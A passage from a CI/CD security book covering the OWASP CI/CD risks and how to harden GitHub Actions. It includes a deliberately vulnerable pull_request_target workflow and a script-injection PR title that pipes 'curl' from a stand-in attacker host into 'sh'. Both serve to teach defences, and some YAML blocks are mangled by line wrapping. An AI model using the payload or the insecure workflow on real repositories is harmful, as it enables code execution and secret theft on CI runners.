Secrets exposure (Chapter 6). Secrets leak through environment variables that untrusted code can read, through logs (masking is best-effort, not a boundary), through fork PRs that get handed privileged tokens, and through the `pull_request_target` pattern. The through-line: a secret is exposed to *whatever code the pipeline runs*, so the question is always "can attacker-influenced code reach this secret's scope?" Minimize secrets in CI, prefer short-lived OIDC-brokered credentials, and bind exposure to protected refs/environments.

Third-party pipeline dependencies (Chapters 3, 7). Actions, Jenkins plugins, GitLab `includes`, CircleCI orbs, container base images, and build tools are all code that runs with CI privileges and, if referenced by a *mutable* pointer (a tag, `latest`, a remote URL), auto-updates into your pipeline. The `tj-actions` and Codecov incidents are the same story: trusted-but-unpinned third-party code is a supply-chain hole. **Pin by digest / commit SHA**, inventory what you depend on, and treat the pipeline's dependency graph like the application's.

Runner/agent compromise and persistence (Chapter 8). Non-ephemeral runners are the durable version of PPE: get code to run once, and if the runner survives to the next job, you persist — poisoned caches, modified tools, background processes — and taint later jobs, possibly

from other tenants. Ephemeral, single-use, isolated runners turn a foothold into a one-job-and-gone event.

Privilege escalation: CI identity → cloud/prod. The CI identity is the keys to the kingdom, and the most common escalation is a CI-to-cloud trust that is too broad: an OIDC trust policy scoped to a whole org rather than a repo+branch, a GitLab job token with no allowlist, a Tekton ServiceAccount with cluster-wide RBAC, a Jenkins global credential reachable by any job. The fix is uniform: scope the CI identity to the *narrowest* source and *narrowest* target that the job actually needs, and **separate build privileges from deploy privileges** so a poisoned build can't itself deploy.

Supply-chain-in-the-pipeline. Even a perfectly-authored pipeline pulls tools, base images, and dependencies at runtime, any of which can be poisoned upstream (Book 2). The pipeline is not just *what you wrote* — it is everything it fetches. Egress control and pinned, verified inputs (Chapter 2's hermeticity) bound this.

Insufficient isolation and cache poisoning (Chapter 7). On shared runners and shared caches, one job can poison state another job consumes — a poisoned build cache, a tampered shared workspace, a mutated tool. Multi-tenancy without strong isolation means one team's compromise is everyone's compromise.

Distributed-systems lens

At the scale this book assumes — hundreds of teams, thousands of repos, high deploy frequency — the CI/CD platform stops being a tool and becomes **critical infrastructure**, with all that implies.

It is a top-tier target and a single point of compromise. One shared CI/CD platform serving the whole org is a tier-0 concentration point (Book 1, Chapter 9): compromise it and you have source, secrets, and prod for *every* team at once. It deserves the same threat modelling, blast-radius analysis, and detection investment as your most sensitive production service — more, because it *builds* your production services.

Multi-tenancy demands hard isolation. Hundreds of teams means hundreds of pipeline authors, any one of whom might write a malicious or merely-poisoned pipeline. The platform's core security property is that **one tenant's pipeline cannot reach another tenant's secrets, jobs,**

or the platform's own control plane. That is an isolation problem — ephemeral single-tenant runners, per-tenant identities, network segmentation, and (on Kubernetes) namespace + RBAC + node separation. Shared runners with weak isolation and broad job tokens are the exact opposite and turn any single PPE into a platform-wide event.

Standardize the paved road; don't trust every team's YAML (Chapter 10). You will not make every team write secure pipeline definitions by documentation. The scalable answer is a **paved road**: hardened, reviewed, org-maintained pipeline templates (reusable workflows, GitLab CI templates / `project` includes, shared Tekton `Pipeline`s, golden Jenkins shared libraries) that bake in least-privilege tokens, pinned dependencies, ephemeral runners, and provenance generation — so the *default* path is secure and teams *opt out* rather than *in*. Governance (Book 8) plus platform engineering, not per-team heroics.

Protect and scope the CI identity — it is the keys to the kingdom. The CI identity sits at the join of source, secrets, and prod. Every design decision in the rest of this book — pinning third-party code, least-privilege tokens, ephemeral runners, separating build from deploy, provenance and signing — is, at bottom, about ensuring that *when* an attacker gets code to run inside a pipeline (assume they will, via indirect or public PPE somewhere across thousands of repos), the identity that code inherits is scoped, short-lived, and observable enough that the foothold stays a foothold instead of becoming the whole kingdom.

Mapping OWASP CI/CD risks to controls and chapters

The point of the taxonomy is to drive controls. Each risk has a home in Book 4:

OWASP CI/CD risk	Primary control	Chapter(s)
SEC-1 Insufficient Flow Control	Protected branches/tags/environments; required review on pipeline defs; deploy gates	Ch 7, Ch 10; Book 7 (source protection)
SEC-2 Inadequate IAM	Scoped, short-lived CI identities; tight OIDC trust policies; job-token allowlists	Ch 6; Book 5 (OIDC identity)

OWASP CI/CD risk	Primary control	Chapter(s)
SEC-3 Dependency Chain Abuse	Pin actions/plugins/includes by digest; verify inputs; hermetic builds	Ch 2, Ch 7; Book 2
SEC-4 Poisoned Pipeline Execution	Isolate untrusted PR code; no <code>pull_request_target</code> + checkout; sandbox and least-priv	Ch 5, Ch 7, Ch 8
SEC-5 Insufficient PBAC	Least-privilege tokens per job; separate build from deploy; isolated runners	Ch 6, Ch 8
SEC-6 Insufficient Credential Hygiene	Short-lived/brokered secrets; no secrets to untrusted code; no secrets in logs	Ch 6
SEC-7 Insecure System Configuration	Harden platform/runner/controller; default-read-only tokens; no exposed consoles	Ch 5, Ch 8, Ch 10
SEC-8 Ungoverned 3rd-Party Services	Inventory and scope integrations; govern plugins/actions; minimize surface	Ch 10; Book 8
SEC-9 Improper Artifact Integrity	Provenance + signing (SLSA, Tekton Chains, cosign); verify before deploy	Ch 3; Book 5
SEC-10 Insufficient Logging/Visibility	Build observability, audit logs, anomaly detection	Ch 9

Read the platform sections back through this table and the comparative shape emerges: GitHub Actions makes SEC-4 (the `pull_request_target` footgun) and SEC-3 (unpinned actions) the sharpest edges; GitLab makes SEC-5/SEC-6 (job token, variable types) and SEC-3 (remote `include`) the ones to watch; Jenkins piles up SEC-7/SEC-8/SEC-4 through plugins, Groovy, and misconfiguration; Tekton relocates SEC-5 into Kubernetes RBAC while giving SEC-9 a native answer in Chains.

Platform comparison at a glance

Dimension	GitHub Actions	GitLab CI	Jenkins	Tekton
Isolation model	Ephemeral hosted VMs (safe) / self-hosted runners (risky if persistent)	Runner + executor; shared vs group vs specific; executor determines isolation	Controller + agents; strong only if builds kept off controller and agents isolated	Pods per TaskRun; isolation = Kubernetes namespaces/ RBAC/ securityContext
Secrets model	Repo/org/environment secrets; OIDC to cloud; fork PRs get no secrets by default	Variables: protected (real boundary) / masked (best-effort) / regular; external secret mgrs	Credentials plugin (encrypted on disk); scope global vs folder vs job	Kubernetes Secrets + ServiceAccounts; Chains signs provenance
Pipeline-as-code exposure	Workflow YAML + all repo code it runs; <code>pull_request_target</code> is the classic footgun	<code>.gitlab-ci.yml</code> + code it runs; <code>include: remote</code> as extra vector	<code>Jenkinsfile</code> (Groovy) — sandbox with history of escapes; built-on-controller misconfig	Task/Pipeline CRDs + step containers; PPL becomes cluster foothold
3rd-party extension risk	Actions by tag (mutable) vs SHA (immutable) — <code>tj-actions</code> (2025)	<code>include s</code> , templates, components; remote include unpinned	Huge plugin ecosystem; top historical CVE source	Catalog Tasks/ StepActions; container images pulled by tag/ digest
Concentration risk	GitHub org + cloud via OIDC	GitLab instance + job-token reach	The controller (creds + plugins + script console)	The Kubernetes cluster

Key takeaways

- A CI/CD platform is uniquely dangerous because it **combines** broad standing access (source + secrets + prod + cloud identity), **execution of repo-controlled code**, continuous operation, and universal downstream trust. It is the join point of source and production, and its compromise is a fan-out, not a lateral incident.
- Use the **OWASP Top 10 CI/CD Security Risks (2022)** as the shared vocabulary: SEC-1 flow control, SEC-2 IAM, SEC-3 dependency chain, SEC-4 PPE, SEC-5 PBAC, SEC-6 credential hygiene, SEC-7 system config, SEC-8 3rd-party services, SEC-9 artifact integrity, SEC-10 logging.
- **Poisoned Pipeline Execution** is the central primitive: get attacker-influenced code to run in CI. Learn the three shapes — **direct** (edit the pipeline def), **indirect** (edit a file it executes: Makefile, tests, scripts), **public** (via fork PRs).
- **GitHub Actions**: the `pull_request` (safe, no secrets for forks) vs `pull_request_target` (privileged, secrets in scope) distinction is the classic footgun when combined with checking out PR head code. Pin actions by **commit SHA**, not tags — the `tj-actions/changed-files` compromise (March 2025) weaponized tag mutation to dump secrets into public logs.
- **GitLab CI**: **protected** variables are the real boundary (bound to protected refs); **masked** is best-effort scrubbing, not security. Watch `include: remote` (supply-chain vector) and `CI_JOB_TOKEN` (historically over-permissive — verify the allowlist). Shared runners are a multi-tenancy decision.
- **Jenkins**: legacy risk concentrator — a vast plugin ecosystem (top historical CVE source), a Groovy sandbox with a long history of escapes, and misconfigurations that run builds on the controller. Keep builds off the controller, minimize plugins, never expose it unauthenticated.
- **Tekton**: Kubernetes-native pipelines as CRDs running as pods; the threat model becomes Kubernetes RBAC and the cluster (a poisoned step is a cluster foothold). **Tekton Chains** gives native signed provenance (SEC-9).
- The **CircleCI breach (January 2023)** shows the provider-compromise failure mode: a stolen SSO session token → employee

impersonation → customer secret exfiltration → "rotate everything."
Prefer short-lived brokered credentials over secrets stored in the SaaS.

- At fleet scale the platform is **tier-0 infrastructure and a single point of compromise**: demand hard multi-tenant isolation, standardize hardened pipelines via the **paved road** rather than trusting every team's YAML, and scope the **CI identity** — the keys to the kingdom — as tightly and short-lived as possible.

Further reading

- **OWASP**, *Top 10 CI/CD Security Risks* (2022) — the canonical taxonomy used throughout this chapter, with detailed write-ups and recommendations per risk. <https://owasp.org/www-project-top-10-ci-cd-security-risks/>
- **GitHub Docs**, *Security hardening for GitHub Actions* — the authoritative reference on `pull_request_target`, `GITHUB_TOKEN` permissions, OIDC, and self-hosted runner risks (developed further in Chapter 5).
- **StepSecurity / community reporting and NVD (CVE-2025-30066)**, on the `tj-actions/changed-files` compromise (March 2025) — the mechanism of tag retargeting used to distribute a secret-dumping payload.
- **CircleCI**, *Incident Report for January 4, 2023 Security Incident* — the vendor's post-incident analysis of the stolen-session-token breach and the all-customer secret rotation.
- **GitLab Docs**, *CI/CD variables (protected, masked)*, `include` keyword, and *CI/CD job token* — the primary sources for GitLab's secrets and token model, including the job-token access allowlist.
- **Jenkins Project**, *Security advisories*, *Controller Isolation / Agent-to-Controller Access Control*, and *Script Security* documentation — for the plugin, Groovy-sandbox, and controller/agent threat surface.
- **Tekton**, *Tekton Pipelines* and *Tekton Chains* documentation — the CRD model and native provenance generation (SLSA / in-toto), connecting to Chapter 3 and Book 5.
- **Palo Alto Networks / Prisma Cloud** (formerly Cider Security) research on PPE and CI/CD attack techniques — the source material behind the OWASP CI/CD Top 10.

- Book 1, Chapter 3 (SolarWinds) and Chapter 9 (concentration and blast radius); Book 4, Chapter 5 (Hardening GitHub Actions), Chapter 6 (Secrets in CI/CD), Chapter 7 (Pipeline Poisoning), Chapter 8 (Ephemeral runners), Chapter 9 (Observability), Chapter 10 (Secure build platform at scale); Book 6 (cloud-native / Kubernetes and Argo CD). ``

Chapter 5 — Hardening GitHub Actions

What this chapter covers. Chapter 4 surveyed CI/CD platforms comparatively and named the GitHub Actions footguns in passing. This chapter is the deep, prescriptive treatment. GitHub Actions is the most widely deployed CI system on the planet, which makes it the largest single CI/CD attack surface and a favorite target for supply-chain operators — the March 2025 `tj-actions/changed-files` compromise reached tens of thousands of repositories in hours. But Actions is not insecure by nature; it is insecure by *default configuration and by careless YAML*. Almost every real-world Actions compromise traces to one of a small set of mistakes: running untrusted code in a privileged trigger, interpolating untrusted strings into a shell, trusting a mutable action tag, over-scoping a token, or standing up a persistent self-hosted runner on a public repo. This chapter dissects the security model precisely enough that you can reason about *why* each mistake is dangerous, then gives you a concrete, copy-adaptable hardened baseline and the org-level controls to enforce it across a fleet.

Learning goals — after this chapter you should be able to:

- Explain the Actions execution model — workflows, jobs, steps, runners, events — and why **the trigger determines the security context**.
- State precisely how `pull_request` and `pull_request_target` differ, and reproduce both the classic RCE/secret-exfiltration pattern and the safe pattern.
- Configure `GITHUB_TOKEN` permissions to least privilege, per job.
- Recognize and eliminate **script injection** — untrusted input flowing into `run: .`

- Defend the **third-party action dependency graph**: SHA-pinning, allowlisting, Dependabot, and what the `tj-actions/changed-files` (CVE-2025-30066) compromise actually did.
- Replace stored long-lived cloud credentials with **OIDC federation**, and scope the trust policy so it cannot be abused.
- Use **environment protection rules**, ephemeral runners, and org policy as fleet-wide controls, and apply static analysis (**zizmor**, **actionlint**) and runtime egress control (**StepSecurity Harden-Runner**).

The execution model, and why the trigger is the security boundary

A GitHub Actions **workflow** is a YAML file under `.github/workflows/` in a repository. A workflow contains one or more **jobs**; each job runs on a **runner** (a VM or container) and consists of ordered **steps**. A step is either a shell command (`run:`) or an invocation of an **action** (`uses:`) — a reusable unit of code fetched from another repository or the local tree. Jobs run in parallel by default and are isolated from each other unless you wire up dependencies with `needs:` and pass data through outputs or artifacts.

Every workflow run is initiated by an **event**: a push, a pull request, a comment, a schedule, a manual dispatch, the completion of another workflow. The event is not merely a trigger — it *defines the security context of the run*. This is the single most important fact about Actions security, and the source of most of its vulnerabilities. Two workflows with byte-identical steps can be perfectly safe or catastrophically exploitable depending only on the `on:` key at the top, because the event determines three things:

1. **Which ref's workflow definition runs** — the code from the PR head, or the code from the base branch.
2. **Whether secrets are available** to the run.
3. **What permissions the automatic `GITHUB_TOKEN` carries** — read-only, or read-write.

Hold those three variables in your head; the rest of this chapter is largely about how each trigger sets them.

```

flowchart LR
    EV["Event / trigger"] --> CTX["Security context"]
    CTX --> R["Which ref's workflow runs  
(head vs base)"]
    CTX --> S["Secrets available?"]
    CTX --> T["GITHUB_TOKEN permissions  
(read-only vs read-write)"]
    R --> RUN["Runner executes steps"]
    S --> RUN
    T --> RUN

```

The GITHUB_TOKEN

At the start of every workflow run, GitHub mints a fresh installation access token for the repository and exposes it as the `GITHUB_TOKEN` secret (and as `github.token`). It is scoped to the one repository, and it expires when the job finishes or after a maximum of 24 hours. This is genuinely good design: it is short-lived, single-repo, and automatic, so you rarely need a personal access token for repo-local operations.

The token's *permissions*, however, are configurable and historically defaulted to broad read-write across the whole repository scope set (contents, packages, pull requests, issues, deployments, and so on). GitHub now lets an org or repo set the default to **read-only**, and you should. Regardless of the default, declare permissions explicitly with the `permissions:` key, ideally at the job level so each job gets exactly what it needs:

```
# Workflow-level default: nothing. Each job opts in to what it needs.
permissions: {}

jobs:
  test:
    runs-on: ubuntu-latest
    permissions:
      contents: read          # clone the repo, nothing else
    steps:
      - uses: actions/checkout@<sha>    # see SHA-pinning below

  label:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      pull-requests: write    # only this job can touch PRs
    steps:
      - run: gh pr edit "$PR" --add-label reviewed
    env:
      GH_TOKEN: ${GITHUB_TOKEN}
      PR: ${GITHUB_EVENT_PULL_REQUEST_NUMBER}
```

Setting `permissions: {}` at the top and granting narrowly per job is the least-privilege posture. A leaked or misused token can then do only what that one job was authorized to do — if the `test` job is compromised through a poisoned dependency, its token cannot open a PR, push a commit, or publish a package. Note that `permissions` only ever *reduces* the token's scope relative to the trigger's ceiling; a read-only-context trigger like a fork `pull_request` cannot be escalated to write by asking for it.

Triggers with elevated context

Most triggers run the workflow *as defined in the ref being acted on*. A push to a branch runs that branch's workflow; a `pull_request` from a fork runs the fork's workflow file. A handful of triggers behave differently, and each is a documented sharp edge:

- `pull_request` — runs the workflow from the *PR head* (attacker-controlled for fork PRs), but with **no secrets** and a **read-only GITHUB_TOKEN**. This is the safe default for validating untrusted contributions.
- `pull_request_target` — runs the workflow from the *base branch* (trusted) but in a privileged context: **secrets are available** and the token is **read-write**. Covered in depth next.

- `workflow_run` — triggered by another workflow completing. It runs the workflow from the **default branch**, with full secrets and a write token, even when the triggering workflow was a fork `pull_request`. It exists precisely to give a privileged follow-up to an unprivileged run — and is dangerous for the same reason.
- `issue_comment`, `issues`, `discussion_comment` — fire on activity that *any* GitHub user can generate. They run the default-branch workflow with secrets and a write token. A `"/deploy"` or `"/retest"` comment bot built naively on `issue_comment` is a privileged endpoint exposed to the entire internet.
- `schedule`, `workflow_dispatch` — run the default-branch workflow with full context; not attacker-triggerable in the same way, but still privileged.

The unifying rule: **whenever a trigger grants secrets and a write token, be certain no attacker-controlled code executes in that run.** The base-branch/default-branch workflow definition is trusted, but everything it *pulls in and executes* — the PR head checkout, the `Makefile`, `npm` lifecycle scripts, a downloaded artifact — may not be.

`pull_request` VS `pull_request_target` : the classic RCE

This is the single most exploited pattern in GitHub Actions, so it is worth walking through mechanically.

You want a workflow that comments on PRs, applies labels, or posts coverage — something that needs write access and maybe a secret (an API token). With plain `pull_request`, a fork PR gets a read-only token and no secrets, so your write/secret step cannot run. The tempting fix is to switch the trigger to `pull_request_target`, which *does* provide secrets and a write token. That works. The problem is what people write next.

Because `pull_request_target` checks out the **base** ref by default, the workflow author often "fixes" that too — they explicitly check out the PR head so they can build and test the proposed change:


```

# VULNERABLE – do not use
name: PR build
on:
  pull_request_target:
    # privileged: secrets + write token

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@<sha>
        with:
          ref: ${{ github.event.pull_request.head.sha }} # UNTRUSTED
    code
      - run: |
          npm ci
        # runs attacker's package.json
    scripts
      npm test
        # runs attacker's test code
    env:
      NPM_TOKEN: ${{ secrets.NPM_TOKEN }}
        # in scope!

```

Now trace an attack. An attacker forks the repo and opens a PR whose `package.json` contains a malicious `preinstall` script (or whose test files exfiltrate the environment). Because the trigger is `pull_request_target`, the run has the base repo's secrets in its environment and a write-scoped `GITHUB_TOKEN`. Because the workflow checked out `head.sha` and ran `npm ci`, the attacker's code executes **in that privileged context**. The `preinstall` script reads `process.env`, finds `NPM_TOKEN` and `GITHUB_TOKEN`, and POSTs them to an attacker server — or uses the write token to push a commit, publish a package, or open a PR that adds a backdoor. The attacker never needed commit access; opening a fork PR was enough. This is remote code execution with your secrets.

```

sequenceDiagram
    participant A as Attacker (fork)
    participant GH as GitHub
    participant R as Runner (base context)
    participant X as Attacker server
    A->>GH: Open fork PR (malicious package.json / tests)
    GH->>R: pull_request_target run
    secrets + write token in scope
    R->>GH: checkout head.sha (untrusted code)
    R->>R: npm ci / npm test → attacker code executes
    R->>X: exfiltrate NPM_TOKEN, GITHUB_TOKEN
    R->>GH: (optional) push commit / publish with write token

```

The safe patterns

There are three defensible options, in rough order of preference.

1. Use `pull_request` and do without secrets for untrusted PRs. If the job only needs to build and test the proposed change, `pull_request` is exactly right: it runs the head code but with no secrets and a read-only token, so RCE in that context steals nothing and can write nothing. Most "build and test the PR" workflows should be plain `pull_request`. Accept that you cannot post to a secret-guarded external service from this job.

2. Split into two workflows with `workflow_run`. Do untrusted work (build, test) in a `pull_request` workflow with no secrets. It produces artifacts (e.g., a coverage report) via `actions/upload-artifact`. A separate `workflow_run` workflow, which runs from the default branch with secrets, downloads that artifact and does the privileged step (post the comment). The privileged workflow **never checks out or executes** PR head code — it only consumes inert data. You must still treat the downloaded artifact as untrusted input (don't `eval` it, don't pass it unquoted to a shell), but no attacker code runs with your secrets.

3. Use `pull_request_target` but never check out or execute head code. This is valid only for workflows that operate purely on metadata — labeling based on changed *paths*, greeting first-time contributors, assigning reviewers. The workflow runs base-branch code, uses the event payload (which is data, not code), and never touches `head.ref / head.sha`. The moment you add a `checkout` of the head or run any script the PR could modify, you are back in the vulnerable pattern.

```
# SAFE – pull_request_target used for metadata only, no untrusted
checkout
name: PR triage
on:
  pull_request_target:
    types: [opened, synchronize, reopened]

permissions:
  pull-requests: write          # narrowly scoped

jobs:
  label:
    runs-on: ubuntu-latest
    steps:
      # No checkout of head; operate on the event payload (data, not
      code).
      - uses: actions/labeler@<sha>
        # labeler reads changed paths from the API, does not run PR
        code
```

```
flowchart TB
  PR["Fork PR (untrusted)"]
  subgraph unpriv["pull_request – NO secrets, read-only token"]
    BUILD["checkout head + build/test"]
    ART["upload inert artifact"]
  end
  end
  subgraph priv["workflow_run – secrets + write token"]
    DL["download artifact (treat as data)"]
    POST["post comment / publish"]
  end
  end
  PR --> BUILD --> ART
  ART -. triggers .-> DL --> POST
```

Script injection: untrusted input into `run:`

The second endemic class of Actions vulnerability needs no privileged trigger at all — only a `run:` step that interpolates attacker-controlled data. GitHub Actions expression interpolation (`{{ ... }}`) is a *textual* substitution performed **before** the shell sees the script. So this:

```
# VULNERABLE
- run: echo "Checking PR: ${ github.event.pull_request.title }"
```

is not "pass the title to echo." It is "paste the title into the shell script as literal text, then run the result." A PR titled

```
" ; curl -s https://evil.example/x | sh; echo "
```

produces the executed script:

```
echo "Checking PR: "; curl -s https://evil.example/x | sh; echo ""
```

The attacker's `curl | sh` now runs on your runner. On a plain `pull_request` that steals nothing, but the same pattern on `push`, `issue_comment`, or any secret-bearing context is full RCE with credentials. Every field an outside party can set is a potential injection source: PR title and body, branch/ref names, issue titles and comments, commit messages, review bodies, author names.

The fix is to **never interpolate untrusted data into an inline script**. Bind it to an environment variable and let the shell read it as a value — because environment variable expansion happens *inside* the shell, after parsing, the content can no longer alter the script's structure:

```
# SAFE
- run: echo "Checking PR: $TITLE"
  env:
    TITLE: ${ github.event.pull_request.title }
```

Now the title is data. Quote the variable (`"$TITLE"`) so word-splitting and globbing don't bite, and you are done. The same discipline applies to passing untrusted values into actions: prefer `with:` inputs and `env` over string-building. `actionlint` and `zizmor` (below) both flag inline interpolation of untrusted contexts automatically; wire them into CI so this class of bug cannot merge.

Third-party actions are dependencies you execute

`uses: someorg/some-action@v3` is not a library call. It fetches the code that `v3` points to *right now* and runs it inside your job, with your job's `GITHUB_TOKEN`, your job's secrets in the environment, and your runner's filesystem and network. An action is a direct dependency with the same blast radius as your own workflow code — and, like any dependency, it has its own transitive dependencies: a composite action calls other actions; a reusable workflow calls more; a JavaScript action bundles npm packages. You are trusting the entire transitive graph.

The specific hazard unique to Actions is **tag mutability**. Git tags are movable references. When you pin `@v3` (or `@main`, or `@v3.1.0`), you are trusting the action's maintainer — and anyone who compromises their account or automation — to never retarget that tag to different code. There is no lockfile pinning the *content*; the tag is resolved fresh on every run.

The `tj-actions/changed-files` compromise (CVE-2025-30066, March 2025)

In March 2025 this played out at scale. `tj-actions/changed-files` is a popular action used in tens of thousands of repositories to compute which files a PR changed. On roughly **March 14, 2025**, an attacker who had obtained a credential able to push to the repository **retargeted essentially all of the action's version tags** (v1 through the current major, and specific version tags like `v35`, `v44.x`, etc.) to point at a single malicious commit. The injected code downloaded and ran a Python script that **dumped the runner process's memory** and scraped it for secrets — CI/CD credentials, cloud tokens, `GITHUB_TOKEN`s — then **printed the base64-encoded secrets into the workflow logs**. On public repositories those logs are world-readable, so the secrets were exfiltrated in plain sight; anyone watching could harvest them without ever contacting an attacker-controlled server.

Two details matter for the lesson. First, the blast radius came entirely from tag mutation: every repo that wrote `tj-actions/changed-files@v44` (a tag) pulled the malicious code on its next run, while any repo that had pinned a specific commit SHA was unaffected — the SHA still pointed at the original, unmodified code. Second, the incident was reportedly *chained*: the credential used to retarget the tags is believed to have been obtained via an earlier compromise of another action (`reviewdog/action-setup`) that leaked a token belonging to the `tj-actions` automation. That is the transitive-graph risk made concrete — a compromise two hops away from your workflow.

```

flowchart LR
    M["Maintainer credential compromised"] --> T["Retarget tags  
v1..v44 → malicious commit"]
    T --> W["Your workflow: uses tj-actions/changed-files@v44"]
    W --> P["Runner fetches malicious code  
runs with your token + secrets"]
    P --> L["Secrets dumped to public logs"]
    subgraph safe ["Pinned by SHA"]
        S["uses ...@a1b2c3...  
immutable – unaffected"]
    end
    end

```

Pin by commit SHA

The fix is to pin every third-party action by its **full 40-character commit SHA**, not a tag:

```

# Tag – mutable, resolved fresh every run
- uses: actions/checkout@v4

# SHA – immutable, always the exact reviewed code (comment records the
version)
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 #
v4.2.2

```

A SHA is a cryptographic content address; a commit cannot be altered under you without changing its hash. Pinning to a SHA means "run exactly the code I reviewed," which is what you want for anything with access to your token and secrets. Keep the human-readable version in a trailing comment so the pin is auditable.

SHA-pinning has one real cost: pins do not automatically receive upstream security fixes. A SHA frozen at a version with a later-discovered vulnerability stays frozen. The answer is not to un-pin; it is to **automate pin updates with Dependabot**, which understands SHA-pinned actions and opens PRs bumping the SHA (and its comment) when the action publishes a new release. You get immutability *and* a review-gated update path:

```
# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "weekly"
```

For **first-party actions/* actions** (checkout, setup-node, upload-artifact), the risk is lower — they are maintained by GitHub — but SHA-pinning them too costs nothing and keeps your policy uniform ("everything is SHA-pinned") rather than carving exceptions attackers can probe.

Allowlisting and auditing actions

At the repository, org, or enterprise level, GitHub lets you restrict **which actions may run at all** (Settings → Actions → General → *Actions permissions*). The options are: allow all; allow only actions authored by GitHub (`actions/*`); allow only "verified creator" actions; or allow a specific allowlist you curate (`actions/*`, `my-org/*`, `aquasecurity/trivy-action@*`, etc.). Combined with the option to require actions to be **pinned to a SHA**, this turns "any of the internet's actions can run in our org" into "only vetted actions can run." For a fleet, this is the single highest-leverage control — see the distributed-systems lens.

Before adopting any action, audit it as you would any dependency: read the source, check that the repository is active and the maintainer reputable, prefer actions that are small and do one thing, look at what network and filesystem access it needs, and check whether it pulls further actions or bundles opaque binaries. Re-audit at each SHA bump; Dependabot PRs should get a real review, not a rubber stamp.

Runners: ephemeral good, persistent dangerous

A **runner** is the machine that executes a job. GitHub offers two kinds.

GitHub-hosted runners are ephemeral by design: each job gets a fresh, clean VM that is destroyed when the job finishes. Nothing persists between jobs, so one job cannot poison the next, and a compromised job's foothold dies with the VM. This is a strong default and, for most workloads, the right choice.

Self-hosted runners are machines you provide and register. By default they are **persistent** — the runner process stays up and takes job after job on the same host. That persistence is the danger. Anything a job writes to disk, installs, or leaves running in memory is visible to the *next* job on that runner. On a private repo with only trusted contributors this is a manageable risk. On a **public repo it is acute**: a fork `pull_request` can schedule a job onto your self-hosted runner (if you allow fork PRs to use it), and that untrusted job now runs on a long-lived host inside your network. The attacker can install a persistent implant, wait for a later privileged job to run on the same runner and steal its secrets, and pivot into whatever the runner's network can reach. **GitHub explicitly recommends never using self-hosted runners with public repositories** for exactly this reason.

The hardening principles for self-hosted runners:

- **Make them ephemeral.** Register runners in **just-in-time / ephemeral** mode (the `--ephemeral` flag, or JIT config tokens) so each runner accepts exactly one job and is then deregistered and the host destroyed. This recovers the clean-per-job property of hosted runners.
- **Isolate the host.** Run each runner in a throwaway VM or container with no standing credentials, minimal tooling, and a hardened base image.
- **Segment the network.** Put runners in a dedicated subnet with egress controls; do not let a runner reach production databases, cloud metadata endpoints with juicy roles, or internal admin planes it has no business touching.
- **Never expose them to untrusted PRs.** Do not attach self-hosted runners to public repos, or require explicit approval for fork PRs and keep those PRs off self-hosted pools.

The standard way to run ephemeral self-hosted runners at scale is the **Actions Runner Controller (ARC)**, a Kubernetes operator that provisions runner pods on demand and tears them down after each job — one job, one pod, then gone. ARC gives you the clean-per-job guarantee with the elasticity and isolation of Kubernetes, and is the recommended architecture when you must self-host (for hardware access, private-network reachability, or cost). Runner isolation, ephemerality, and ARC are the subject of **Chapter 8 — Ephemeral and Isolated Runners**;

here the takeaway is simply: *ephemeral by default, and never persistent on a public repo*.

OIDC: keyless cloud access

The worst secret is the one you store. A long-lived cloud credential in a repository secret — an AWS access key, a GCP service-account JSON key — is a static, high-value target: it sits in the secret store indefinitely, it is exposed to every job that references it, and if it leaks (script injection, a poisoned action, a careless `env` dump) it stays valid until someone notices and rotates it. The `tj-actions` incident dumped exactly these.

GitHub Actions ships an **OIDC identity provider** that lets you eliminate stored cloud credentials entirely. The mechanism: within a workflow that has `id-token: write` permission, a step requests a short-lived **OIDC token** (a signed JWT) from GitHub's provider (`token.actions.githubusercontent.com`). GitHub signs the JWT and embeds **claims** describing exactly what produced it — the repository, the ref, the workflow, the event, the environment, and a composite `sub` (subject) claim like `repo:my-org/my-repo:ref:refs/heads/main` or `repo:my-org/my-repo:environment:production`. The workflow presents this JWT to the cloud provider, which **validates GitHub's signature and checks the claims against a trust policy**; if they match, it issues **short-lived** cloud credentials (an AWS STS session, a GCP access token, an Azure token). No secret is stored anywhere; the trust is rooted in GitHub's signed assertion of *which workflow is running*.

```
sequenceDiagram
    participant W as Workflow (id-token: write)
    participant G as GitHub OIDC provider
    participant C as Cloud STS / IdP
    W->>G: Request OIDC token
    G-->>W: Signed JWT with claims
    (sub=repo:org/repo:environment:prod, aud, ...)
    W->>C: Present JWT (AssumeRoleWithWebIdentity / WIF)
    C->>C: Verify signature + match trust policy
    (issuer, aud, sub conditions)
    C-->>W: Short-lived credentials (minutes)
    W->>C: Deploy using temporary creds
```

Here is the AWS shape — federate into a role instead of storing keys:

```
permissions:
  id-token: write      # REQUIRED to request the OIDC token
  contents: read

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production
    steps:
      - uses: aws-actions/configure-aws-credentials@<sha> # v4.x
        with:
          role-to-assume: arn:aws:iam::123456789012:role/gha-deploy
          aws-region: us-east-1
      - run: aws s3 sync ./dist s3://my-artifacts/
```

The security of this rests entirely on the **cloud-side trust policy**, and this is where the footgun lives. The AWS IAM role's trust policy must constrain both the audience *and* the subject claim to the specific repository — and ideally the specific branch or environment — that is allowed to assume it:

```
{
  "Effect": "Allow",
  "Principal": { "Federated": "arn:aws:iam::123456789012:oidc-provider/
token.actions.githubusercontent.com" },
  "Action": "sts:AssumeRoleWithWebIdentity",
  "Condition": {
    "StringEquals": {
      "token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
      "token.actions.githubusercontent.com:sub": "repo:my-org/my-
repo:environment:production"
    }
  }
}
```

The catastrophic misconfiguration is a **wildcard sub**. If the condition uses `StringLike` with `repo:my-org/*` (or worse, matches any repo), then *any* workflow in the org — including one an attacker adds to a repo they can push to, or a fork PR under a permissive trigger — can mint a token whose `sub` matches, assume the production role, and take over your cloud account. Always match the exact `repo:ORG/REPO:...` prefix, and scope further to a specific `ref (...:ref:refs/heads/main)` or, better, an `environment (...:environment:production)` so that only runs targeting that protected environment can assume the role. GCP **Workload**

Identity Federation and **Azure federated credentials** work the same way, with the same wildcard hazard in their attribute conditions.

OIDC federation is the modern best practice and should be your default for cloud access from CI. It connects directly to **Book 5, Chapter 4 — Workload Identity**, which develops the general pattern of short-lived, attested machine identity of which GitHub OIDC is one instance.

Secrets and environments

